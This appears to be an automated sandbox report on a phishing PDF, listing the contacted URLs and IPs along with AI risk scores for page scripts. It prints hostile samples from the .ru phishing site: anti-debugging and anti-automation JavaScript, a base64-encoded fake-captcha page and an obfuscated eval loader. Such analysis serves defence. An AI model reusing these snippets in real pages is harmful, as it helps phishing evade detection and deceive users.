https://qb06.ffcwygff.ru/	chromecache_289.17.dr	true	Avira URL Cloud: phishing	unknown
https://www.google.com/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://support.google.com/communities/answer/7424249	chromecache_289.17.dr	false		high
https://schema.org	chromecache_289.17.dr	false		high
https://feedback2-test.corp.google.com/tools/feedback/%	chromecache_312.17.dr	false		high
https://cct.google/taggy/agent.js	chromecache_278.17.dr, chromecache_310.17.dr, chromecache_337.17.dr, chromecache_362.17.dr	false		high
https://local.hsappstatic.net/forms-embed/static/bundles/project-v3.js	chromecache_263.17.dr	false		high
https://plus.google.com	chromecache_323.17.dr	false		high
https://asx-frontend-autopush.corp.google.de/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://support.google.com/communities/answer/7425194	chromecache_289.17.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://asx-frontend-autopush.corp.google.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://feedback.googleusercontent.com/resources/render_frame2.html	chromecache_312.17.dr	false		high
https://sandbox.google.com/tools/feedback/%	chromecache_312.17.dr	false		high
https://support.google.com/translate/answer/6142483?ref_topic=7011659&hl=	chromecache_366.17.dr	false		high
https://www.google.%/ads/ga-audiences	chromecache_348.17.dr, chromecache_292.17.dr	false		high
https://content-googleapis-staging.sandbox.google.com	chromecache_289.17.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/accounts/recovery	chromecache_289.17.dr	false		high
https://translate-daily-6.corp.google.com/	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://localhost.corp.google.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://asx-frontend-staging.corp.google.com/inapp/	chromecache_312.17.dr	false		high
https://fonts.google.com/license/googlerestricted	chromecache_306.17.dr, chromecache_373.17.dr	false		high
https://goto.google.com/translate-web-sherlog	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://clients6.google.com	chromecache_289.17.dr, chromecache_361.17.dr, chromecache_323.17.dr	false		high
http://localhost.corp.google.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
http://www.hubspot.com	chromecache_326.17.dr, chromecache_307.17.dr, chromecache_293.17.dr, chromecache_336.17.dr	false		high
https://support.google.com/embed/tagging/install	chromecache_289.17.dr	false		high
https://twitter.com/intent/tweet?text=	chromecache_302.17.dr	false		high
https://play.google.com	chromecache_366.17.dr, chromecache_289.17.dr	false		high
https://www.google.com/log?format=json&hasfast=true	chromecache_291.17.dr, chromecache_283.17.dr	false		high
https://js.hs-banner.com/v2	chromecache_326.17.dr, chromecache_336.17.dr	false		high
https://support.google.com/inapp/%	chromecache_312.17.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://www.google.com/recaptcha/api.js?trustedtypes=true&onload=	chromecache_289.17.dr	false		high
https://translate-daily-0.corp.google.com/	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
http://hubs.ly/H0702_H0	chromecache_286.17.dr, chromecache_246.17.dr	false		high
https://csp.withgoogle.com/csp/lcreport/	chromecache_302.17.dr	false		high
https://sherlog.corp.google.com/history?q=%7Bsystem:translate-webserver%7D	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://scone-pa.clients6.google.com	chromecache_312.17.dr	false		high
https://support.google.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://asx-frontend-autopush.corp.google.co.uk/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://goto.google.com/bad-translation	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_305.17.dr, chromecache_361.17.dr, chromecache_334.17.dr, chromecache_323.17.dr	false		high
https://translate-daily-2.corp.google.com/	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://asx-frontend-autopush.corp.google.com/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://asx-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://translate-autopush.corp.google.com	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://domains.google.com/suggest/flow	chromecache_361.17.dr, chromecache_323.17.dr	false		high
https://feedback2-test.corp.google.com/inapp/%	chromecache_312.17.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.161.117	cdn.prod.website-files.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.16.118.116	track.hubspot.com	United States	13335	CLOUDFLARENETUS	false
104.18.40.240	js.hs-banner.com	United States	13335	CLOUDFLARENETUS	false
104.16.107.254	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.172.91	static.hsappstatic.net	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.187.119	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.64.146.132	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.80.204	forms-na1.hsforms.com	United States	13335	CLOUDFLARENETUS	false
104.16.140.209	js.hs-scripts.com	United States	13335	CLOUDFLARENETUS	false
104.17.175.201	js.hs-analytics.net	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.18.142.119	js.hsforms.net	United States	13335	CLOUDFLARENETUS	false
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
104.21.32.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.19.175.188	forms.hsforms.com	United States	13335	CLOUDFLARENETUS	false
104.16.110.254	js.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
172.64.147.16	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
142.250.181.65	unknown	United States	15169	GOOGLEUS	false
172.67.222.46	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	United States	13335	CLOUDFLARENETUS	false
104.21.60.204	qb06.ffcwygff.ru	United States	13335	CLOUDFLARENETUS	true
104.16.109.254	forms.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
104.18.41.124	48192692.fs1.hubspotusercontent-na1.net	United States	13335	CLOUDFLARENETUS	false
104.16.117.116	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576301
Start date and time:	2024-12-16 18:43:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FINAL000035745873695487KHFKA.pdf
Detection:	MAL
Classification:	mal76.phis.winPDF@41/281@87/29
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 172.64.41.3, 162.159.61.3, 23.32.238.154, 23.32.238.129, 23.32.238.163, 23.32.238.155, 23.32.238.147, 23.32.238.146, 23.32.238.160, 23.32.238.145, 23.32.238.130, 23.195.39.65, 2.22.50.144, 2.22.50.131, 2.19.126.143, 2.19.126.149, 172.217.21.35, 172.217.19.238, 64.233.162.84, 216.58.208.227, 172.217.17.46, 192.229.221.95, 172.217.19.202, 172.217.17.42, 172.217.19.234, 216.58.208.234, 142.250.181.74, 172.217.17.74, 142.250.181.138, 142.250.181.42, 142.250.181.10, 142.250.181.106, 172.217.19.10, 142.250.181.78, 172.217.17.40, 172.217.19.195, 142.250.181.123, 172.217.21.59, 172.217.17.59, 172.217.17.91, 142.250.181.91, 172.217.19.251, 142.250.181.155, 172.217.19.219, 216.58.208.251, 172.217.19.187, 142.250.181.59, 172.217.19.27, 142.250.181.27, 142.250.181.67, 172.217.21.42, 142.250.181.99, 172.217.19.170, 172.217.17.35, 92.122.101.58, 92.122.101.8, 52.149.20.212, 23.218.208.109, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, ssl.gstatic.com, e8652.dscx.akamaiedge.net, storage.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, www.googletagmanager.com, a122.dscd.akamai.net, update.googleapis.com, share.hsforms.com, www.gstatic.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.google-analytics.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, fonts.gstatic.com, hsforms.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, edgedl.me.gvt1.com, armmf.adobe.com, gstatic.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: FINAL000035745873695487KHFKA.pdf

Simulations

Behavior and APIs

Time	Type	Description
12:44:48	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: https://google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://google.com
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The script also includes a self-executing function that repeatedly triggers a debugger statement, which could be an attempt to detect and evade analysis. Overall, the combination of these behaviors suggests this script is likely malicious and should be treated with caution." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); EMVPluVYkt = false; (function fxFHSmkKCk() { let wZPxIOWuDt = false; const NkKqxSoNIr = 100; setInterval(function() { const vCImosXXDb = performance.now(); debugger; const XswsVwZzHV = performance.now(); if (XswsVwZzHV - vCImosXXDb > NkKqxSoNIr && !wZPxIOWuDt) { EMVPluVYkt = true; wZPxIOWuDt = true; window.location.replace('https://support.google.com'); } }, 100); })();
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. While the script may have a legitimate purpose, the use of obfuscated code and the overall suspicious nature of the behavior warrant further investigation and a medium-to-high risk assessment." }
if(atob("aHR0cHM6Ly9RYjA2LmZmY3d5Z2ZmLnJ1LzVHNFlWLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tOiAwOw0KICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7DQogICAgZmlsdGVyOiBibHVyKDVweCk7DQogICAgei1pbmRleDogLTE7DQp9DQouY29udGVudCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYwZTBlOw0KICAgIHBhZGRpbmc6IDIwcHggMTBweDsNCiAgICB3aWR0aDogMzAwcHg7DQogICAgbWFyZ2luOiAyMHB4IGF1dG87DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGJveC1zaGFkb3c6IDBweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yKTsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXSB7DQogICAgZGlzcGxheTogbm9uZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggbGFiZWwgew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBjdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrbWFyayB7DQogICAgd2lkdGg6IDIwcHg7DQogICAgaGVpZ2h0OiAyMHB4Ow0KICAgIGJvcmRlcjogMnB4IHNvbGlkICNkM2QzZDM7DQogICAgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogICAgLyogbWFyZ2luLXJpZ2h0OiAxMHB4OyAqLw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXTpjaGVja2VkICsgbGFiZWwgLmNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDogNnB4Ow0KICAgIGhlaWdodDogMTJweDsNCiAgICBib3JkZXI6IHNvbGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAzcHggMDsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7DQp9DQoNCi5jYXB0Y2hhLXRleHQgew0KICAgIGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgICBmb250LXNpemU6IDE0cHg7DQogICAgbGVmdDogNnB4Ow0KICAgIGNvbG9yOiAjZmZmZmZmOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtbG9nbyBpbWcgew0KICAgIGhlaWdodDogNDBweDsNCiAgICB0b3A6IDBweDsNCiAgICByaWdodDogMDsNCiAgICBmbG9hdDogcmlnaHQ7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KfQ0KDQouY2FwdGNoYS1sb2FkZXIgew0KIGJhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTsNCiBib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjpyZWxhdGl2ZTsNCiAvKnJpZ2h0OiAxODJweDsqLw0KIHdpZHRoOjM2cHg7DQogYm94LXNpemluZzpib3JkZXItYm94Ow0KIGFuaW1hdGlvbjogc3BpbiBsaW5lYXIgMXMgaW5maW5pdGU7DQogZGlzcGxheTogbm9uZTsNCn0NCg0KQGtleWZyYW1lcyBzcGluIHsNCiAgICAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9DQogICAgMTAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0NCn0NCg0KLmNhcHRjaGEtY29udGVudCB7DQogICAgZGlzcGxh
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10." }
new Proxy({},{get:(_,n)=>eval([...n].map(n=>+("">n)).join``.replace(/.{8}/g,n=>String.fromCharCode(+("0b"+n))))}).
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d43... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); qUfdpZZaid = false; (function ePEIPCdWEB() { let HcxCUDTFez = false; const jMjiltutxb = 100; setInterval(function() { const rvXpINxFdL = performance.now(); debugger; const ZZGrFRawYJ = performance.now(); if (ZZGrFRawYJ - rvXpINxFdL > jMjiltutxb && !HcxCUDTFez) { qUfdpZZaid = true; HcxCUDTFez = true; window.location.replace('https://translate.google.com'); } }, 100); })();
URL: https://www.gstatic.com/_/mss/boq-translate/_/js/k... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of a larger web application and does not contain any high-risk indicators. It primarily focuses on web performance monitoring and reporting, which is a common and legitimate practice. The code uses some standard APIs and patterns, such as the `performance` object and `XHR` for data transmission. While there are some moderate-risk indicators like external data transmission, the overall behavior seems to be within the expected range for a web analytics or performance tracking script. With appropriate contextual adjustments, this script can be considered low to medium risk." }
"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this; try{ var bua; _.nC=function(){var a=bua(_.ye("xwAfE"),function(){return _.ye("UUFaWc")}),b=bua(_.ye("xnI9P"),function(){return _.ye("u4g7r")}),c,d,e,f;return(f=cua)!=null?f:cua=Object.freeze({isEnabled:function(g){return g===-1\|\|_.nf(_.ye("iCzhFc"),!1)?!1:a.enabled\|\|b.enabled},environment:(c=_.Xk(_.ye("y2FhP")))!=null?c:void 0,UC:(d=_.Xk(_.ye("MUE6Ne")))!=null?d:void 0,Jl:(e=_.Xk(_.ye("cfb2h")))!=null?e:void 0,xj:_.Zk(_.ye("yFnxrf"),-1),VK:_.bl(_.ye("fPDxwd"),[]).map(function(g){return _.Zk(g,0)}).filter(function(g){return g>0}), YP:a,CP:b})};bua=function(a,b){a=_.nf(a,!1);return{enabled:a,zr:a?_.Gd(_.$k(b(),_.oC)):dua()}};_.oC=function(a){this.wa=_.y(a)};_.B(_.oC,_.A);var dua=function(a){return function(){return _.id(a)}}(_.oC);var cua; _.n("p3hmRc"); var Iua=function(a){a.oa=!0;return a},Jua=function(a,b,c,d){this.transport=a;this.j=b;this.v=c;this.environment=d;this.H=Number(Date.now()).toString(36)+Math.random().toString(36).slice(2)};_.SC=function(){_.ro.call(this);this.config=_.nC();var a=this.config.xj;this.config.isEnabled(a)&&(this.j=Kua(this,a))};_.B(_.SC,_.J);_.SC.qa=_.J.qa;var Kua=function(a,b){var c=[].map(function(h){return _.sd(h)}),d,e=_.RC(Iua(_.Hua(_.Gua(_.QC(new _.PC(b,_.dl()),_.EC(new _.DC,a.config.VK)),(d=a.config.Jl)!=null?d:""),c)));switch(b){case 2082:var f=2;break;case 1884:f=1}var g;return new Jua(e,a.config.UC,f,(g=a.config.environment)!=null?g:"")};_.Ov(_.bq,_.SC); _.p(); _.Lua=function(a,b,c){var d=b.j().Sba(a.H);a.j!==void 0&&d.KQ(a.j);a.environment&&d.Fba(a.environment);a.v&&d.Hba(a.v);var e,f,g=(e=_.tb())==null?void 0:(f=e.Ha)==null?void 0:_.Em(f.N,"k");g&&d.Vba(g);b.v(c);a.transport.Vf(b);a.transport.flush()};_.TC=function(a,b,c){a=a.wa;var d=(0,_.Dd)(a);_.wc(d);var e=_.Qd(a,d,c);b=_.pd(_.jd(e,b,!0,d));e!==b&&_.Hd(a,d,c,b);return b};_.UC=function(a){this.wa=_.y(a)};_.B(_.UC,_.A);_.k=_.UC.prototype;_.k.getUrl=function(){return _.F(this,3)}; _.k.KQ=function(a){_.Dk(this,5,a)};_.k.Fba=function(a){_.Dk(this,7,a)};_.k.Hba=function(a){_.Ek(this,8,a)};_.k.Sba=function(a){return _.Dk(this,9,a)};_.k.Vba=function(a){_.Dk(this,10,a)};_.VC=function(a){this.wa=_.y(a)};_.B(_.VC,_.A);_.VC.prototype.j=function(){return _.TC(this,_.UC,5)};_.VC.prototype.v=function(a){_.ek(this,_.oC,18,a)}; _.n("LvGhrf"); var Mua=function(a){if(_.ca&&_.ca.performance&&_.ca.performance.memory){var b=_.ca.performance.memory;if(b){var c=new WC;isNaN(b.jsHeapSizeLimit)\|\|_.rf(c,1,_.ad(Math.round(b.jsHeapSizeLimit).toString()));isNaN(b.totalJSHeapSize)\|\|_.rf(c,2,_.ad(Math.round(b.totalJSHeapSize).toString()));isNaN(b.usedJSHeapSize)\|\|_.rf(c,3,_.ad(Math.round(b.usedJSHeapSize).toString()));_.ek(a,WC,1,c)}}},Oua=function(a){if(XC()){var b=performance.getEntriesByType("navigation");if(b&&b.length){var c=new YC;if(b=b[0]){switch(b.type){case "navigate":c.xe(1); break;case "reload":c.xe(2);break;case "back_forward":c.xe(3);break;case "prerender":c.xe(4);break;default:c.xe(0)}var d=_.Bk(c,2,Math.round(b.startTime));d=_.Bk(d,3,Math.round(b.fetchStart));d=_.Bk(d,4,Math.round(b.domainLookupStart));d=_.Bk(d,5,Math.round(b.domainLookupEnd));d=_.Bk(d,6,Math.round(b.connectStart));d=_.Bk(d,7,Math.round(b.connectEnd));d=_.Bk(d,8,Math.round(b.requestStart));d=_.Bk(d,9,Math.round(b.responseStart));d=_.Bk(d,10,Math.round(b.responseEnd));var e=Nua(Math.round(b.domInteractive)); d=_.Bk(d,11,e);e=Nua(Math.round(b.domComplete));d=_.Bk(d,12,e);d=_.Bk(d,13,Math.round(b.loadEventStart));_.Bk(d,14,Math.round(b.loadEventEnd))}_.ek(a,YC,8,c)}}},Nua=function(a){return Number.isFinite(a)?a:null},Pua=function(a){if(XC()){var b=performance.getEntriesByType("resource");if(b&&b.length){for(var c=new ZC,d=0,e=0,f=0,g=0,h=0,l=0,m=0,q=0,r=0,v=0,u=0;u<b.length;u++){var w=b[u],x=w.responseEnd-w.startTime;if(x>=0)switch(w.initiatorType){case "css":d++;e+=x;break;case "img":f++;g+=x;break;case "script":h++; l+=x;break;case "link":m++;q+=x;break;default:r++,v+=x}}d&
URL: https://www.gstatic.com/_/mss/boq-translate/_/js/k... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that warrant a medium risk score. It includes the use of dynamic code execution through the `eval` function, which can be a high-risk indicator. Additionally, the script appears to be handling data transmission to external domains, which could potentially lead to data exfiltration. The presence of fallback domains and the use of a legacy API (`XDomainRequest`) further contribute to the overall risk. However, the script also seems to have some legitimate functionality, such as analytics or telemetry, which mitigates the risk to some extent. Overall, the combination of potentially risky behaviors and the presence of some legitimate use cases results in a medium risk score of 6." }
"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this; try{ _.n("P6sQOc"); var aHa=!!(_.di[1]&1);var cHa=function(a,b,c,d,e){this.H=a;this.na=b;this.N=c;this.oa=d;this.Aa=e;this.j=0;this.v=bHa(this)},dHa=function(a){var b={};_.Ea(a.uE(),function(e){b[e]=!0});var c=a.lE(),d=a.pE();return new cHa(a.oE(),_.mk(c,1)1E3,a.eE(),_.mk(d,1)1E3,b)},bHa=function(a){return Math.random()Math.min(a.naMath.pow(a.N,a.j),a.oa)},BL=function(a,b){return a.j>=a.H?!1:b!=null?!!a.Aa[b]:!0};var eHa=function(){this.v=_.Dv(_.YGa);this.H=_.Dv(_.yL);this.Ga=null;var a=_.Dv(_.KK);this.fetch=a.fetch.bind(a)};eHa.prototype.j=function(a,b){if(this.H.getType(a.Ic())!==1)return _.yn(a);var c=this.v.sG;(c=c?dHa(c):null)&&BL(c)?(b=fHa(this,a,b,c),a=new _.vn(a,b,2)):a=_.yn(a);return a}; var fHa=function(a,b,c,d){return c.then(function(e){return e},function(e){if(aHa)if(e instanceof _.tf){if(!e.status\|\|!BL(d,_.lk(e.status,1)))throw e;}else{if("function"==typeof _.As&&e instanceof _.As&&e.v!==103&&e.v!==7)throw e;}else if(!e.status\|\|!BL(d,_.lk(e.status,1)))throw e;return _.of(d.v).then(function(){if(!BL(d))throw Error("wd`"+d.H);++d.j;d.v=bHa(d);b=_.em(b,_.am,d.j);return 